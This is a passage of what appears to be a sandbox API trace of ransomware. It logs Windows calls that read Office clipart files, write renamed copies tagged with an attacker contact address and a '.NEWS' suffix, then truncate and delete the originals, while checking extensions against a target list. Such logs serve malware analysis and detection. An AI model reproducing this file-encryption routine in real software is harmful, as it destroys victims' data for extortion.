nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2590, lpOverlapped=0x0) returned 1 [0187.971] ReadFile (in: hFile=0x574, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.971] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.972] SetEndOfFile (hFile=0x46c) returned 1 [0187.972] CloseHandle (hObject=0x46c) returned 1 [0187.972] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.972] SetEndOfFile (hFile=0x574) returned 1 [0187.975] CloseHandle (hObject=0x574) returned 1 [0187.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0187.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.977] lstrlenW (lpString=".doc") returned 4 [0187.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.977] lstrlenW (lpString=".docx") returned 5 [0187.977] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0187.977] lstrlenW (lpString=".pdf") returned 4 [0187.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString=".xls") returned 4 [0187.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.978] lstrlenW (lpString=".xlsx") returned 5 [0187.978] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0187.978] lstrlenW (lpString=".ppt") returned 4 [0187.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.978] lstrlenW (lpString=".zip") returned 4 [0187.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.978] lstrlenW (lpString=".rar") returned 4 [0187.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString=".bz2") returned 4 [0187.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString=".7z") returned 3 [0187.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.978] lstrlenW (lpString=".dbf") returned 4 [0187.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.978] lstrlenW (lpString=".1cd") returned 4 [0187.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.978] lstrlenW (lpString=".jpg") returned 4 [0187.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.979] lstrlenW (lpString=".doc") returned 4 [0187.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString=".docx") returned 5 [0187.979] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0187.979] lstrlenW (lpString=".pdf") returned 4 [0187.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString=".xls") returned 4 [0187.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.979] lstrlenW (lpString=".xlsx") returned 5 [0187.979] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0187.979] lstrlenW (lpString=".ppt") returned 4 [0187.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.979] lstrlenW (lpString=".zip") returned 4 [0187.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.979] lstrlenW (lpString=".rar") returned 4 [0187.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString=".bz2") returned 4 [0187.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.980] lstrlenW (lpString=".7z") returned 3 [0187.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.980] lstrlenW (lpString=".dbf") returned 4 [0187.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.980] lstrlenW (lpString=".1cd") returned 4 [0187.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0187.980] lstrlenW (lpString=".jpg") returned 4 [0187.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.980] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.980] lstrlenW (lpString="J0152626.WMF") returned 12 [0187.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0187.982] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=26248) returned 1 [0187.982] CloseHandle (hObject=0x574) returned 1 [0187.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220 [0187.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0187.984] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.984] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0187.985] GetLastError () returned 0x0 [0187.985] ReadFile (in: hFile=0x574, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x6688, lpOverlapped=0x0) returned 1 [0187.988] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6690, lpOverlapped=0x0) returned 1 [0187.990] ReadFile (in: hFile=0x574, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.990] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.990] SetEndOfFile (hFile=0x46c) returned 1 [0187.990] CloseHandle (hObject=0x46c) returned 1 [0187.991] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.991] SetEndOfFile (hFile=0x574) returned 1 [0187.994] CloseHandle (hObject=0x574) returned 1 [0187.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0188.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.520] lstrlenW (lpString=".doc") returned 4 [0188.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString=".docx") returned 5 [0188.520] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0188.520] lstrlenW (lpString=".pdf") returned 4 [0188.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString=".xls") returned 4 [0188.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.520] lstrlenW (lpString=".xlsx") returned 5 [0188.520] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0188.520] lstrlenW (lpString=".ppt") returned 4 [0188.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.520] lstrlenW (lpString=".zip") returned 4 [0188.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.520] lstrlenW (lpString=".rar") returned 4 [0188.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString=".bz2") returned 4 [0188.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString=".7z") returned 3 [0188.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.520] lstrlenW (lpString=".dbf") returned 4 [0188.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.520] lstrlenW (lpString=".1cd") returned 4 [0188.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.521] lstrlenW (lpString=".jpg") returned 4 [0188.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.521] lstrlenW (lpString=".doc") returned 4 [0188.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.521] lstrlenW (lpString=".docx") returned 5 [0188.521] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0188.521] lstrlenW (lpString=".pdf") returned 4 [0188.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.521] lstrlenW (lpString=".xls") returned 4 [0188.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.521] lstrlenW (lpString=".xlsx") returned 5 [0188.521] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0188.521] lstrlenW (lpString=".ppt") returned 4 [0188.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.521] lstrlenW (lpString=".zip") returned 4 [0188.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.521] lstrlenW (lpString=".rar") returned 4 [0188.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.521] lstrlenW (lpString=".bz2") returned 4 [0188.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.521] lstrlenW (lpString=".7z") returned 3 [0188.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.521] lstrlenW (lpString=".dbf") returned 4 [0188.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.522] lstrlenW (lpString=".1cd") returned 4 [0188.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0188.522] lstrlenW (lpString=".jpg") returned 4 [0188.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.522] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0188.522] lstrlenW (lpString="J0152690.WMF") returned 12 [0188.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.907] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1268) returned 1 [0188.907] CloseHandle (hObject=0x404) returned 1 [0188.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 0x220 [0188.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.908] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.908] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0188.909] GetLastError () returned 0x0 [0188.909] ReadFile (in: hFile=0x404, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4f4, lpOverlapped=0x0) returned 1 [0188.910] WriteFile (in: hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x500, lpOverlapped=0x0) returned 1 [0188.911] ReadFile (in: hFile=0x404, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0188.911] WriteFile (in: hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0188.911] SetEndOfFile (hFile=0x408) returned 1 [0188.912] CloseHandle (hObject=0x408) returned 1 [0188.912] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.912] SetEndOfFile (hFile=0x404) returned 1 [0188.914] CloseHandle (hObject=0x404) returned 1 [0188.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0188.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.915] lstrlenW (lpString=".doc") returned 4 [0188.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.915] lstrlenW (lpString=".docx") returned 5 [0188.915] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0188.915] lstrlenW (lpString=".pdf") returned 4 [0188.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.915] lstrlenW (lpString=".xls") returned 4 [0188.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.916] lstrlenW (lpString=".xlsx") returned 5 [0188.916] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0188.916] lstrlenW (lpString=".ppt") returned 4 [0188.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.916] lstrlenW (lpString=".zip") returned 4 [0188.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.916] lstrlenW (lpString=".rar") returned 4 [0188.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.916] lstrlenW (lpString=".bz2") returned 4 [0188.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.916] lstrlenW (lpString=".7z") returned 3 [0188.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.916] lstrlenW (lpString=".dbf") returned 4 [0188.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.916] lstrlenW (lpString=".1cd") returned 4 [0188.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.916] lstrlenW (lpString=".jpg") returned 4 [0188.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.916] lstrlenW (lpString=".doc") returned 4 [0188.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.916] lstrlenW (lpString=".docx") returned 5 [0188.916] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0188.916] lstrlenW (lpString=".pdf") returned 4 [0188.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.916] lstrlenW (lpString=".xls") returned 4 [0188.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.916] lstrlenW (lpString=".xlsx") returned 5 [0188.916] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0188.916] lstrlenW (lpString=".ppt") returned 4 [0188.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.917] lstrlenW (lpString=".zip") returned 4 [0188.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.917] lstrlenW (lpString=".rar") returned 4 [0188.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.917] lstrlenW (lpString=".bz2") returned 4 [0188.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.917] lstrlenW (lpString=".7z") returned 3 [0188.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.917] lstrlenW (lpString=".dbf") returned 4 [0188.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.917] lstrlenW (lpString=".1cd") returned 4 [0188.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0188.917] lstrlenW (lpString=".jpg") returned 4 [0188.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.917] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0188.917] lstrlenW (lpString="J0152698.WMF") returned 12 [0188.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.919] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1208) returned 1 [0188.919] CloseHandle (hObject=0x404) returned 1 [0188.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 0x220 [0188.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.919] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.919] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0188.921] GetLastError () returned 0x0 [0188.921] ReadFile (in: hFile=0x404, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4b8, lpOverlapped=0x0) returned 1 [0188.922] WriteFile (in: hFile=0x408, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4c0, lpOverlapped=0x0) returned 1 [0188.923] ReadFile (in: hFile=0x404, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0188.923] WriteFile (in: 